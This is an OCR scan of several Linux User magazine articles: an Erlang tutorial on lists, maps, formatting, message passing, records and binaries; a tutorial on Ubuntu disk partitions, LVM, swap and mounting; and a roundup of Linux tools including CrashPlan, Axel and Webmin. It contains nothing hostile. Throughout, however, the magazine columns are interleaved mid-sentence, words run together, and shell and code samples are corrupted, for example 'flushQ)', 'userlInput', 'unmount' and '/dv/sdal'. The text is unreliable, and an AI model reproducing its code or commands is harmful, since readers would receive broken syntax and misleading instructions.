I 11> [ OtherNew || OtherNew <= W, integer(OtherNew),
OtherNew > 3].

L]

The second command extracts all elements from the W
list that are greater than three, including some characters.
The third command creates a new list named OtherNew
that contains integers that are greater than three without
including any characters.

Figure 2 (overleaf) shows more list operations that you
should try on your own. What you should remember from
this section is that lists are recursive data structures and
that they are usually being processed as such.

Erlang maps
Amapis asetof key and value pairs that is called a dictionary ora
hash in other programming languages.

) el

Figure 3 (overleaf) shows the Erlang code of useMaps.erl.
Executing the start/0 function of the useMaps.erl module
generates the following kind of output:

I 9> c(useMaps).

I {ok,useMaps}

I 10> useMaps:start().

I Size: 3

ll size: 5

I #a = 1,b = 2,c = 3,d = 4,e = 5}
ok

The map_size() function is used for finding out the
size of a map, whereas from_list() converts a list
into a map, provided the list is in the right format.
Other functions related to maps include find(), get(),
is_key(), keys(), merge(), put(), values() and remove().

Erlang printing and formatting

The Erlang approach to printing is similar to the C
approach and the format characters used in the printf()
function, and is implemented using the io:format()
function. The most common special sequence is ~n, which
prints a new line. Look at the next interaction with the
Erlang shell:

I 1> io:format("~s~n",["This is a string"l).
l This is a string
ok

5> io:format("~s~n~n",["This is a string"]).

www.linuxuser.co.uk
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listintoamap

Erlang

Figure 1

B This is a string
B ook

There are more control sequences apart from ~s, which
is used for printing strings, including ~c for printing
characters, ~p for pretty printing output and ~w that is
used for printing Erlang terms. Figure 4 shows even more
formatting examples. You can learn more about the Erlang
io package by visiting erlang.org/doc/man/io.html.

Getting user input - revisited

This section will show how to get user input character-
by-character and line-by-line, by developing two Erlang
functions with a pretty simple implementation. Figure 5
shows the Erlang code of the userInput module.
Executing the two functions of userlnput in the Erlang
shell generates the following kind of output:

1> c(userInput).
{ok,userInput}

2> userlInput:getLine().
Give me a line:

> This is Mihalis!

i
i
i
i
i
I You typed: This is Mihalis!__
E ok
i
i
i
i

3> userInput:getChar().
Give me a character:

Waiting...: 2
You typed 2
B ook

The io:get_chars() Erlang function allows you to read
one or more characters from a user - the number of
characters to read is specified by its second argument
and the user input is terminated by pressing the Enter key.
Similarly, the io:get_line() function allows you to read

Figure 2

71

Figure3

a line from a user. Once again, when the user finishes,
they must press the Enter key. Both functions allow you
to collect the input and store it into the variable of your
choice. Last, the string:strip() function removes the
newline character from a string.

Message passing

This section will illustrate how to pass a message from
an Erlang process to another. This is a crucial task since
Erlang processes can only communicate using messages
- this might look tedious and hard, but it is the price
you have to pay for having autonomous processes and
concurrent execution.

When an Erlang process is created, it returns a process
identifier (PID) that uniquely identifies it; this means that
without knowing the process ID of a process, you cannot
pass a message to it. In other words, if you do not save the
process ID of a process at its creation time, you cannot
use it afterwards!

You should know that even the Erlang shell is an Erlang
process with an ID that you can get as follows:

B 2> self.
B <o0.58.0>

B 8> Pid = self().
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A message can even contain a process ID, which can help
a function differentiate between Erlang processes and
allow the function to send back a message to the calling
process. The advantage of using tuples for message
passing is that tuples can be processed more easily than
plain strings because they can have a structure. Figure 6
(overleaf) presents more message passing examples.

A small game!

In this example, we will use message passing between two
Erlang processes in order to play a naive game. Figure 7
(overleaf) shows the Erlang code of tickTack.erl. As you
can see, you only need to put the start/1 function to the
export list because the tick() and tack() functions are
only used internally. Executing tickTack.erl creates the
following kind of output:

I 1> c(tickTack).
P <o0.58.0> B {ok,tickTack}
B 9> Pid. B 2> tickTack:start(3).
B <o0.58.0> f <0.61.0>: — tick
fl <0.57.0>: ++ tack [3]
B <0.61.0>: — tick
P <0.57.0>: ++ tack [2]

As you can see, the self/@ function returns the process ID
of the process that called it, which can be saved using a
variable. The flush/@ BIF prints and empties the message
queue ofthe shelt B More information about OTP
I 6> self() ! this_is_a_message. OTP supports behaviours, which are similar to design patterns
I this_is_a_message four?d in object—ori.entec_i programming languages. The key point
I 7> flushQ) behind OTP behaviours is that you need to have two mgdules for
o your code: one for the repeated part and one for the unique part.
I Shell got this_is_a_message Thefirst partis the behaviour module, whereas the second part
I Ok is called the callback module. Behaviours are delivered by OTP
inthe form of library modules and provide the developer with the
The first command uses the output of self/@ to send a generic code needed. The behaviour module must know about
message to it — the exclamation mark is the operator used the exported functions of the callback module and their return

for message passing. However, the most common format

values, while the callback module must conform to the format
of the datait returns. So, the whole method has two parts: the

of messages is the following: first part is the OTP behaviour, whereas the second part is the
Erlang code that gets created by the developer. You can think of

I 10> self() ! {"This"”, "is", "Mihalis", the entire process as if it were a contract between two parties

"Tsoukalos”, "calling"}. who agree on the function names and return values found in

I {“This","is","Mihalis","Tsoukalos“,"calling"} theprowdedAPIwhlle,atthe§amet|me,respectlngthereturr}

I 11> flushQ). valyesofthedevelopedfunctlons.So,aslongasthgcontractls
Lt 0 me o g s " valid, none of the two modules must know any details about the

P shell got {"This","is","Mihalis","Tsoukalos”, implementation of the other one.

"calling"}
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Erlang

bit]| Figure 6

Figure7

Times), NTimes = 0

B <0.61.0>: — tick
B <0.57.0>: ++ tack [1]

The general idea behind tickTack.erl is that you make the
required processes and keep their process identifications
in order to be able to send the appropriate messages to
each one of them. In this case, you only need to create
a single process and keep its process ID, which is the
return value of the spawn() function that starts a new

Erlang process by executing the tack/@ function. The
most important statement in tickTack.erl is the receive
statement used in both tack() and tick(), which
allows them to get, and therefore process, messages
from the message queue. After that, you use pattern
matching to differentiate between the various types of
accepted messages. Keep in mind that messages are
being processed in a FIFO manner. So, you start the
game by calling the tickTack:start/1 function that
calls the spawn() function and creates an instance of
the tickTack:tack/@ function and stores its process
ID before calling the tickTack:tick/2 function. The
tickTack:tick/2 function does the rest of the work for
us. Forthcoming tutorials will talk more about message
passing and processing, so stay tuned!

Erlang records

Records are used in Erlang to give names to the elements
of a tuple. In other words, the elements of a record are
accessed by name, whereas the elements stored in a
tuple are accessed by position, which can create nasty
bugs sometimes. Look at the next Erlang code:

I 8> rd(contacts, {name=""
I contacts

I 9> R1 = #contacts{name="Mihalis",
surname="Tsoukalos", website="http://www.
mtsoukalos.eu"}.

I #contacts{name = "Mihalis",surname =
"Tsoukalos”,

B website = "http://www.mtsoukalos.eu"}

, surname="", website}).

The code of the second command creates a new contacts
record, stored as R1, with three fields named name,
surname and website. However, you should first define
the fields of the record as well as its name, which is the
purpose of the first command. You can access a particular
field of a record using the following notation:

I 12> Rl#contacts.name.
l "Mihalis”

Records work fast and should be used when you have a
given number of fields at compile time, whereas maps
should be used when you want to add fields at runtime.

Erlang binaries
Erlang uses a special data structure called Binary to
store binary data. Erlang offers functions that allow
you to work with binaries, such as list_to_binary(),
term_to_binary(), is_binary(), split_binary(),
binary_part(), binary_to_float(), binary_to_integer(),
binary_to_list() and binary_to_atom().

The following output briefly illustrates the use
of binaries:

B 16> Bl = <«<"Mihalis">>.
Il <«<"Mihalis">>

B 20> binary_to_list(B1).
B "Mihalis”



I 21> B2 = term_to_binary("Tsoukalos").

B <<131,107,0,9,84,115,111,117,107,97,108,111,115>>
28> io:format("~p~n",[binary_to_list(B2)I).
B [131,107,0,9,84,115,111,117,107,97,108,111,115]
B ook

I 31> io:format("~s~n",[binary_to_term(B2)]).
B Tsoukalos

B ook

W BIfs

BIF stands for ‘built-in function’. BIFs are all functions that are
defined by the Erlang language, which includes some pretty
handy functions that can make your life easier. Erlang BIFs
usually do things that are impossible to program in Erlang, like
displaying the time and the date. The list_to_pid() function
does what its name implies:

I > selrQ.

As you can see, dealing with Erlang data structures can be
tricky from time to time.

The next Erlang tutorial will talk about file input and
output (I/0) in Erlang, where you will learn more about

l <0.57.0>
I 2> PID = list_to_pid("<0.57.0>").
I <0.57.0>

I 3> <0.57.0>" | a_message.

Erlang binaries. l

Figure 8

B Pattern matching and messages

You will now see how to process messages using pattern matching,
which was also illustrated in tickTack.erl. The generalideais to

l ** exception error: bad argument

I in operator !/2

| called as "<0.57.0>" ! a_message
B 4> PID ! a_message.

B a_message

Inthis case, list_to_pid/@is used for convertingastringtoa
valid process ID that is stored using the PID variable. Next, PID is
used for sending a message to the relevant process. BIFs are both
automatically beingimported and can be called without a module
name. However, they also belong to the erlang module, so
list_to_pid() canalsobecalled aserlang:list_to_pid()!
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what you expect to receive. Please note that the ‘catch all’ clause ol i AT . :‘:::

is optional; however, it is considered a good practice toinclude i - Craah course Por trsag develegers

a‘catchall’ clause in case something bad or abnormal happens.
Figure 8 shows some example code related to pattern matching
and message processing. Itis veryimportant to continue running
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process() after processing a message, in order to process all - ::'u":w
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the following kind of output:

I 17> c(patternMatching).

B {ok,patternMatching}

B 18> patternMatching:start().
| My name is Mihalis.

B Hi to you too Mihalis!

I "Name”

l Unknown message!

The parts of atuple that do not interest you can be matched using
underscores, which has two advantages: the first one is that

you do not introduce unused variables that will make the Erlang
compiler create warning messages, and the second one is that
you do not confuse other people that read your code! All you have
to worry about is having the correct Erlang process ID in order to
be able to send your messages!
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ey paaiets

e maore when we 1ake network, (e systems. arsd otber third: parTy rescsroes into
scrmunt

o isares, Elixiy 0 revta pars of yosr

L things go sury, pring

B About Elixir

Elixir is a functional programming language built on top of
Erlang VM, just as Scala is built on top of Java VM. Elixir tries
to take advantage of the good parts of Erlang while improving
the less beautiful parts. This means that if you do not like

the Erlang way of programming but you still want the handy
parts of it, you can try Elixir. Additionally, as Elixir is based on
Erlang, all Elixir programs can call any Erlang function with
no runtime cost! You can find more information about Elixir
at elixir-lang.org, which is shown in Figure 9.

Across How to use

pattern matching
to process

incoming messages

Left Thisisthe
homepage of the

Elixir programming

language, which

is based on Erlang
and uses the Erlang

virtual machine
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Take a closer look at managing disks and file
systems on Ubuntu systems
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The concept of how data storage works remains the
same in most modern operating systems. When an
operating system is installed, what normally happens is
that the disk will be divided into one or more partitions.
Then each of these partitions will be formatted with a file
system. When we talk about Linux operating systems, it
is important to understand that some of the partitions
will be specifically formatted for elements such as a
swap area or LVM physical volumes. As we all know, disks
are used for permanent storage while random access
memory (RAM) and swap areas are used for temporary
storage. The CPU will be able to access data much faster
from RAM than from a hard disk. But a disk is much larger
than RAM and also, RAM is much more expensive. The
LVM physical volumes will enable a user to create pools of
storage space called volume groups, and with the help of
these volume groups you will have flexibility for growing or
shrinking logical volumes.

Most of the hard disk partitions created when we install
Linux are mounted automatically when the system boots.
When we install Ubuntu, we have the option of letting the
installer automatically configure the hard disk or creating
partitions on our own and indicating the mount points for
those partitions.

We need to have at least one disk partition assigned
to the root of the Linux file system. However, it is more
common to have separate partitions that are assigned to
specific directories such as /home, /var and so on. Linux
provides various tools that will help in managing the hard
disk partitions. You need to understand how to partition
the disk if you need to add a disk to the system.

When we boot Linux, we can see that all the Linux
partitions on the hard disk are listed in the /etc/fstab
file and are mounted. The mount command can be used
not only to mount the local storage devices, but also to
mount other kinds of file systems on your Linux system.

[eptions] device

-1 [gevice

As an example, the mount command can be used to
mount directories over the network from the Network File
System (NFS).

Let us understand more about viewing the disk
partitions. We can use the fdisk command with -1 option
in order to view the disk partitions, as shown below.

B pswayam@pswayam-VirtualBox:~$ sudo fdisk -1 /
dev/sda

We have captured the output of the above command in the
following screenshot.

Above Output of the fdisk command with -l option

If we look at the output, we can see an asterisk (*) under
the Boot column for the first partition. The * actually
indicates that the partition is bootable.

If we are interested in adding a new storage medium
such as hard disk to our computer so that it can be used
by Linux, we can follow the four steps given below.

+ Install the new hard drive

- Partition the new disk

+ Create the file systems on the new disk
» Mount the file system

When we talk about disk partitioning in Linux, it has its
own shortcomings. Consider a situation when we run out
of disk space. We can expect downtime and inefficiency
under such conditions. Logical volume management (LVM)
offers a lot of flexibility and efficiency in dealing with
situations where we have constantly changing storage
needs. With LVMs, the concept is that physical disk
partitions are added to pools of space, known as volume
groups. Logical volumes are then assigned space from
volume groups as needed. With LVM, you can easily shrink
the file system to reclaim the disk space. It is important
to note here that shrinking requires you to unmount the
logical volume.

With LVM, you will be able to add more space to a logical
volume from the volume group while the volume is still



pswayam@pswayam-VirtualBox:~$ sudo fdisk -1 /dev/sda | grep /dev/sda

[sudo] password for pswayam:

Disk : 64 GiB, 68719476736 bytes,

134217728 sectors

1 2048 127401983 127399936 60.8GC 83 Linux

2 127404030 134215679 6811650 3.3G 5 Extended

5 127404032 134215679 6811648 3.3G 82 Linux swap / Solaris

pswayam@pswayam-VirtualBox:~$ [

Above Partitions on the hard disk

in use. The advantage here lies in the fact that we will be
able to add more physical volume to a volume group if the
volume group runs out of space. Let us understand how
we can check an existing LVM. The following command
can be used to display the partitions on the first hard disk:

I pswayam@pswayam-VirtualBox:~$ sudo fdisk -1 /
dev/sda | grep /dev/sda

You can use the pvdisplay command to see if a partition
is being used in an LVM group or not. First, install the
pvdisplay tool by using the following command:

I pswayam@pswayam-VirtualBox:~$ sudo apt-get
install lvm2

Itis important to understand the steps involved in creating
LVM logical volumes. First, you can create one or more
physical volumes (pv), then use the physical volumes
to create volume groups (vg) and then create logical
volumes from the volume groups (lv). Various commands
are available that will help us to work with each LVM
component. These commands begin with the letter pairs
pv, vg and lv. As an example, the pvdisplay command
shows physical volumes; vgdisplay shows volume groups
and lvdiaplay shows logical volumes. If you run out of
space on a logical volume, you will be able to add space to
it without even unmounting it. In order to do this, you need
to have space available in the volume group, grow the
logical volume and grow the file system to fill it.

One of the benefits of logical volumes is that you can
make your shares physically bigger or smaller without
having to move everything to a bigger hard drive. Instead,
you can add a new hard drive and extend your volume
group on the fly. Or if you have a hard drive that isn’t used,
you can remove it from the volume group to shrink your
logical volume. Let us take a look at what resize, extend
and reduce really mean.

B One of the benefits of
logical volumes is that you
can make shares physically
bigger or smaller without
having to move everything
to a bigger hard drive &8

- Resize - can shrink or expand physical volumes and
logical volumes but not volume groups.

+ Extend - can make volume groups and logical volumes
bigger but not smaller.

- Reduce - can make volume groups and logical volumes
smaller but not bigger.

Sometimes, you may be interested in removing a hard
drive from a volume group. In such cases, you can follow
the following steps.

- Resize the file system (make sure you move the files to a
safe place on the hard drive before resizing)

+ Reduce the logical volume

+ Use the vgreduce command to remove the hard drive
from the volume group

Let us understand how we can see the supported
file systems on a Linux operating system. In order to
view the supported file systems, you can type the
following command.

I pswayam@pswayam-VirtualBox:~$ cat /proc/
filesystems

The list below shows a sample of file systems that are
currently supported on Linux. The following table lists
some of the most popular file systems that are supported.

File System Description

ext2 The default file system used
in earlier Linux systems

ext3 The most common file system

on Linux. Compared to ext2,
it has improved capability to
recover from crashes

proc This is not really a file system,
but a file system interface to
the Linux kernel

nfs Network file system — basically
used to mount the file systems
on other Linux machines

squashfs Compressed and read-only file
systemtype
cifs Common internet file system

You can take a look at the list of file systems that come
with the specific kernel that you are currently using. For
this, use the following command:

www.linuxuser.co.uk
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I pswayam@pswayam-VirtualBox:~$ 1ls /lib/modules/
kernel_version/kernel/fs/

In the above command, you need to replace kernel_version
with the specific kernel version that you have. The output of the
above command has been captured in the following screenshot.

yswayam-VirtualBox: /1ib/modul 19.6-15-generic

$ 1s /lib/modules/3.19.8-15-generlc

ayam-VirtualB

Above Alook at the list of file systems
If you want to find our more about Linux file systems, enter the
command man fs.

As the next topic of this tutorial, let us turn our focus
to swap areas and see how we can enable them. In basic
terms, a swap area can be considered as that area of the
hard disk that will be available whenever the system runs
out of memory. As expected, if RAM is full and we try to start
another application without a swap area, that application
will fail. The advantage with the swap area is that Linux
will temporarily swap the data from RAM to the swap area
and then get it back later, when needed. Due to this, there
could be adverse impact on system performance, but the
processes will not fail.

You can create a swap area from a partition or a file. Linux
provides a very useful command — mkswap - for this purpose.

MKSWAP(8)

NAME

mkswap - set up a Linux swap area

SYNOPSIS
mkswap [options] device [size]

DESCRIPTION

System Administration

In order to enable the swap area, you can use the swapon
command. If you are interested in disabling the swap area,
then you can make use of the swapoff command. There could
be situations where we no longer need swap area and want to
reclaim the space consumed by a swap file. In such situations,
the ability todisable the swap area comes in handy.

As mentioned earlier, the /etc/fstab file is important when it
comes to managing disks and partitions on any Linux system.
Generally, the hard disk partitions are set up to automatically
mount when we boot the Linux system. The contents of the
/etc/fstab file include details about each partition and also
provide information on how the partitions are mounted.

Above The contents of /etc/fstab

As can be seen from the above screenshot, the first column
of /etc/fstab shows the device or share. This is followed by
the mount point in the second column and the type of the file
system in the third column. Next, we will have mount options, if
any. The next column indicates whether the file system needs
to be dumped (ie it is required to have its data backed up). This
field can have a value of 1 (meaning that the file system needs
to be dumped) or 0 (meaning that backup is not required).
The last column of the /etc/fstab file indicates whether the
indicated file system should be checked with fsck when the
time comes for it to be checked.

MKSWAP(8)

mkswap sets up a Linux swap area on a device or in a file.

The device

/dev/sdb7) but can also be a file.

partition 1IDs, but

(Warning: Solaris also uses

Solaris partitions.)

The size parameter is superfluous but retained for
specifies the desired size of the swap area in 1024-byte
mkswap will use the entire partition or file if it is omitted.

bility. (1t
blocks.

argument will usually be a disk partition (something like

The Linux kernel does not 1look at

many installation scripts will assume that parti-
tions of hex type 82 (LINUX_SWAP) are
this type.

meant to be swap partitions.

Be careful not to kill your

backwards compati-

Specifying it is unwise - a typo may destroy your disk.)

Manual page mkswap(8) line 1 (press h for help or g to quit

Above Man page details of the mkswap command



B [t is important to note that
Linux systems automatically
run the mount command
(with the -a option, so that
all file systems from the
/etc/fstab file can be
mounted) at boot time il

Let us take a look at the mount command and see how
it can be used to mount the file systems. It is important to
note here that Linux systems automatically run the mount
command (with the —a option, so that all file systems from
the /etc/fstab file can be mounted) at boot time. System
administrators use this mount command only in very special
situations, such as:

+ Tomount afile system temporarily
« To show the disks and partitions that are currently mounted

Any user can run the mount command and with this, they will
be able to see what file systems are currently mounted on the
Linuxmachine.

When you are done with a temporary file system or you want
to unmount a permanent file system temporarily, then you can
use the unmount command. The purpose of this command
is to detach the file system from its mount point. In order to
use unmount, you can specify either a directory name or a
device name. Let us take a look at a couple of examples for the
unmount command.

pswayam@pswayam-VirtualBox:~$ mount

I pswayam@pswayam-VirtualBox:~$ unmount /mnt/
my_test

This unmounts the device from the /mnt/my_test
mount point.

l pswayam@pswayam-VirtualBox:~$ unmount /dv/sdal

[t’s important to understand that the unmount command
will fail if we have a situation where the device is mounted
in more than one location. Sometimes, we may get a
message such as ‘device is busy’. This indicates that the
unmount request has failed because an application has
a file open on the device. An alternative solution in such
scenarios is to use the unmount command with the -1
option. Sometimes referred to as a lazy unmount, this
unmounts the device as soon as it is no longer busy.

Formatting the Linux file system is an essential task for
sysadmins. Linux comes with the mkfs command to format
the file system. It is used to build a Linux file system on a
device, usually a hard disk partition. System administrators
typically use this command to create file systems on hard
disk partitions. The most commonly used option is —t, which
is followed by the type of file system to be created. Let us
understand this with an example.

l pswayam@pswayam-VirtualBox:~$ sudo mkfs -t
ext4 /dev/sdal

Here, we are trying to use mkfs to create a file system on a
partition — specifically an ext4 file system on the /dev/sdal
partition. You can also include the -V option to produce verbose
output, including all file-system-specific commands that are
executed. We recommend that you go through the command
mkf's in detail by taking a look at its man page. M

sysfs on fsys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on fproc type proc (rw,nosuid,nodev,noexec,relatime)
udev on [dev type devtmpfs (rw,relatime,size=1658072k,nr_inodes=414518 ,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmod

e=000)

tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=333936k,mode=755)
/dev/sdal on [/ type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relat

ime)

tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)

tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)

tmpfs on /sys/fs/cgroup type tmpfs (rw,mode=755)

cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,x
ttr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)

pstore on [sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)

cgroup on [sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,fr

eezer)

cgroup on [sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime
,perf_event,release_agent=/run/cgmanager/agents/cgm-release-agent.perf_event)
cgroup on [sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatim

e,cpu,cpuacct)

cgroup on f[sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blki

Left Run mount
and take a look at
its output
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Linux is often portrayed as a complex,
inaccessible beast by the mainstream tech
press, but in reality, that’s not always true.
The reason that is often the perception is
because it’'s a powerful, versatile platform
that’s widely used across the globe not
just on people’s desktops and laptops, but
also to power some of the world’s largest
websites. There’s no question Linux can do
a lot — and do a lot well - so it follows that

if you want to dig deep into the system,
there is a lot that you can get very deeply
immersed in.

In this feature we’re going to look at a
range of system tools which will help you get
the most out of your Linux setup, whether
you are a hardened CLI user or prefer to stick
to GUI-based tools and whether you want
to make the most of your desktop or server
Linux experience.

One of the most interesting aspects of
Linux is the fact that there are often multiple
tools that effectively let you achieve the
same task. The nature of open source seems
to often be that when someone uses a tool
and it doesn’t quite fit their needs, they
then go off and create their own version that
does. You can use this guide as inspiration to
look at similar utilities to achieve the tasks
that we discuss.

B The nature of open source seems to often be that when
someone uses a tool and it doesn’t quite fit their needs, they

then go off and create their own version that does il

SSENTIAL DISTROS

Of course, any list of essential distros

isn't complete without mentioning
Ubuntu, by far the most widely used Linux
distribution amongst enthusiasts — and with
good reason. It’s mature and stable, with LTS
(Long Term Supported) versions and due to
its high adoption rate it has a huge amount of
peer-to-peer support across the web.
https://www.ubuntu.com/download/desktop

Debian
While Ubuntu has a very capable server

distribution, Debian — on which Ubuntu
is built, of course — is more commonly used
for non-desktop purposes. Debian is one
of the oldest and therefore best-supported
versions of Linux available. Random fact:
Debian distributions are named after Toy Story
characters. Really! The latest release is Jessie.
https://www.debian.org/

OpenSUSE
Linux users tend to fall into two

camps, those who favour DEB based
distributions and those who prefer the
RPM system, as used by OpenSUSE. The
platform offers a conventional stable,
regular release version ‘Leap’ as well as a
rolling version featuring the latest software,
‘Tumbleweed’. The YaST management tool
is alsovery popular.
https://www.opensuse.org/

1 Ubuntu Desktop / Server

Ubuntu for desktops

Learn how the Ubuntu desktop operating system
powers millions of PCs and laptops around the

' world.
Download Ubuntu

[ -J About Debian = Getting Debian Support  Developers' Corner

debian 1

(O

debian

The universal operating system

Debian is a frag operating system (OS) for your computer. An operating system is the set of basic programs and utilities that

make your computer run.
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Do you back up the data on your Linux box? By
its very nature, the temptation with your Linux
machines is to employ a DIY approach to backing
up —cron, tar gzip, sftp, rsync; it’s all good.

But actually, there is a far better and more
efficient way, in the form of CrashPlan. Free for
inter-machine backup and subscription based
for cloud backup (with home, pro and enterprise
versions), CrashPlan offers truly unlimited,
encrypted backup to a data centre employing
military-grade security and a custom private
key, continuous backup, custom backup sets,
configurable versioning and retention policies,
deleted file protection and a whole bunch of

(Subscription active)

@ Another Computer (Free!)

Aaalanm

CrRASHPLAN 1

Is this a new computer? If so, you can 2dopt a previous computer to avoid restarting

Start Backup
Start Backup

scanning
Total: 277,566 files / 140.2GB

@ Let your friends back up to you with this backup code: 3QV638
- Attach a backup archive

intelligence to ensure that your data is backed up
as efficiently as possible.

While the premium, cloud-connected version
of CrashPlan is excellent (particularly taking
advantage of the family plan savings), the free
version is well worth having. As well as being able
to back up to your own servers or external drives,
CrashPlan assigns every user an ID, which can
then be shared among a group of friends. This
means you could back up your data to one or
more of your friends’ machines (fully encrypted,
of course, so they can’t see your actual data) and
then you could also serve as a backup repository
forthem.

Crashplan is a best-in-class backup tool, with a free option

As well as Linux, both Desktop and Server,
CrashPlan offers clients for the other desktop
Operating Systems as well as restore/
management utilities for iOS and Android. When
using Crashplan on a headless server, the service
itself runs on the remote machine but the GUI
runs on your local box for configuration purposes.

Later in this article we will also discuss
Rsnapshot, which provides you with an
alternative backup option, although this could
potentially be paired with CrashPlan to back
up the actual snapshot files. You can discover
Crashplan’s free offering for yourself at www.
crashplan.com.

B As well as being able to back up to your own servers or
external drives, CrashPlan assigns every user an D, which
can then be shared among a group of friends kil
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SHUTTER AND PEEK (+GIMP)

If a picture paints a thousand words, what about animated GIFs?

GIMP is unquestionably the most accomplished
image editor for Linux (and is excellent on other
platforms too). When grabbing screenshots from
Linux, it's tempting just to hit the PrtScr button
and chop the image up as needed. There is a
better way!

Shutter is a feature rich screenshotting tool
for Linux released under GPL v3. It provides
menu shortcuts to instantly screenshot a
click-drag selection, the desktop, the window
selected by the cursor, the window selected
from the menu, a section, menu or tooltip or
particularly usefully, a whole web page. The
web page feature captures the whole of a web
page, not just the visible area. Images can be
copied to the clipboard or uploaded directly to
a number of hosting services such as imgur,
Dropbox, Itmages etc. Several built-in filters
are also provided.

If you want to go beyond the static screenshot,
check out Peek. Peek creates a resizable ‘lens’ on
the desktop, which is used to define an area to

Shutter and Peek (+GIMP)

[standfirst]

[text]

be recorded as an animated GIF for sharing later.
The interface is beautifully simple, but it works
very well and the produced video is excellent.

If a picture paints a thousand words, what about animated GIFs?

GIMP is unguestionably the most accomplished image editor for
Linux (and is excellent on other platforms too). When grabbing
screenshots from Linux, it's tempting just to hit the PrtScr button
and chop the image up as needed. There is a better way!

Shutter is a feature rich screenshotting tool for Linux released under
GPL v3. It provides menu shortcuts to instantly screenshot a click-
I lach: ko docl I iad | Lot :

One additional tip — GIMP can open animated
GIFs and allows you to edit the frames
individually if required!

X . &

paul@xps13-xenial: ~

paul@xpsi3-xenial:~$ axel -n 5 -a http://releases.ubuntu.com/16.04.1/ubuntu-16.0
4,1-desktop-amd64.1s0? _ga=1.221387224.1399575541.1481575691

Initializing download: http://releases.ubuntu.com/16.04.1/ubuntu-16.04.1-desktop
-amd64.1s0?_ga=1.221387224.1399575541.1481575691

File size: 1513308160 bytes

Opening output file ubuntu-16.04.1-desktop-amdé64.1iso

State file found: 25561289 bytes downloaded, 1487746871 to go.

il

1 [ 4.8MB/s] [04:41]

Accelerate your command line with multi-threaded downloads

When downloading applications from the
command line, normally you’d use wget or if
you want a bit more control, curl. If you want
to accelerate your downloads however, you
should check out Axel.

Axel tries to accelerate the HTTP/FTP
downloading process by using multiple
connections for one file. It can also use
multiple mirrors for a download. Axel has no
dependencies, is lightweight and unlike most

other similar programs, it downloads all the
data directly to the destination file using a
single thread, saving time at the end because
the program does not have to concatenate the
downloaded parts.

In its most simple form, just use Axel in
the same way you would wget — ‘axel url.
The most common options include ‘--max-
speed’ to prevent the app chewing up all your
bandwidth, ‘--num-connections’ to specify

a number of connections (the recommended
default of 4 is fine for most downloads).
Passing in multiple URLs allows downloading
of the same file from multiple locations.

Axel is great, but what if you want a GUI
download manager with similar features?
Check out uGet, which also includes
accelerated downloads, clipboard monitoring,
browser integration, queueing support and
even command line support!
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System Information

System hostname
Operating system
Webmin version
Theme version

Time on system

Kernel and CPU

What if you could have a web-based GUI to
configure some of the most complex Linux
features, with a cutting edge interface,
frequent updates, modular extensibility and
all for free? Good news — that is exactly what
Webmin offers.

Using any browser that supports tables and
forms (and Java for the File Manager module),
you can set up user accounts, Apache, DNS,
file sharing and so on. Webmin consists of

101

T1% %

Ubuntu Linux 16.04.1

1.830

Authentic Theme 18.31

Thursday, January 12, 2017 6:40 PM

Linux 2.6.32-042stab120.6 on x86_64

Intel(R) Xeon(R) CPU E5-2630 v3 @ 2.40GHz, 4 cores

11 days, 6 hours, 43 minutes

Add a GUI to some of the most complex Linux features

a simple web server and a number of CGlI
programs which directly update system files
such as /etc/inetd.conf and /etc/passwd. The
web server and all CGI programs are written in
Perl version 5 and don’t use any non-standard
Perlmodules.

Webmin has been around for many years
and when using the standard interface, this
definitely shows. The utility has recently been
offered a new lease of life however with the

81%

third-party, bootstrap-based, responsive
‘Authentic’ theme. It quickly elevates Webmin
to one of the best looking remote consoles out
there. High praise indeed!

Upon installation, Webmin will automatically
determine which services you are using on your
server and enable the appropriate functions
within the software. It's well worth also
checking out the huge repository of third-party
plugins at the Webmin site.

0 Install using the DEB package

If you are on a Debian-based Linux
distribution, such as Ubuntu, then the quickest
way to install Webmin is to use the deb package.
This can be downloaded via wget from the
Webmin site, and installed using dpkg. Note
however that if you take this approach, you
won’t automatically receive updates with your
0S, so the apt option might be a wiser choice.
Note that you may also need to manually install
dependencies, and you'll need the universe repos
enabled in order todo so.

58

0 Install from source

If you are using a non-deb-based version
of Linux, RPM and other alternative versions
are available from the Webmin site, or you may
find Webmin in your distribution’s repositories.
If you don’t, or if you prefer the manual route,
you can of course download the source and
install manually either from the Webmin site or
the Webmin github repository at https:/github.
com/webmin/webmin. Development versions
are also available, offering a sneak peek at the
latest features.

Recommended —installviaapt

For the easiest way to install webmin
(and stay updated), you can add the Webmin
APT repository to your /etc/apt/sources.list file
(or create a dedicated file at /etc/apt/sources.
list.d/webmin.list). You'll also need to install
the GPG key using ‘apt-key add’ from http:/

0

www.webmin.com/jcameron-key.asc.  After
doing so, you can install using ‘apt-get update’
and ‘apt-get install webmin’ — dependencies
should be resolved automatically and new
versions will be installed as part of your regular
apt upgrade process. If you do install manually,
it’s worth noting that Webmin itself will notify
you of available updates, you’ll just have to
install them manually.




ing the DEB version of webmin, first download the Fle from the

your systens's 1P address.

0 4 Download and install Authentic

After installing Webmin, you'll be able
to connect to the service from your browser
using https on port 10000. After logging
in with a valid user account, the first thing
you'll notice is that the default theme is ugly!
Thankfully, the third party Authentic theme
will fix that. To download it, open Webmin
Configuration’Theme Configuration and
choose Webmin Themes. On the Install Theme
tab, use the ‘from ftp or http URL option to
grab the theme directly from the link provided
over at https://github.com/qooob/authentic-
theme. After download, you can then simply
then switch back to the Change Theme tab
and select Authentic. You'll be amazed at the
transformation that occurs.

05 Use certbot-autoto createan
SSL certificate

By default, Webmin is set up to use a self-
generated SSL certificate, which is fine, but
does present a warning when you connect
to the site. It’s much better to use a valid
SSL certificate! To generate the certs,
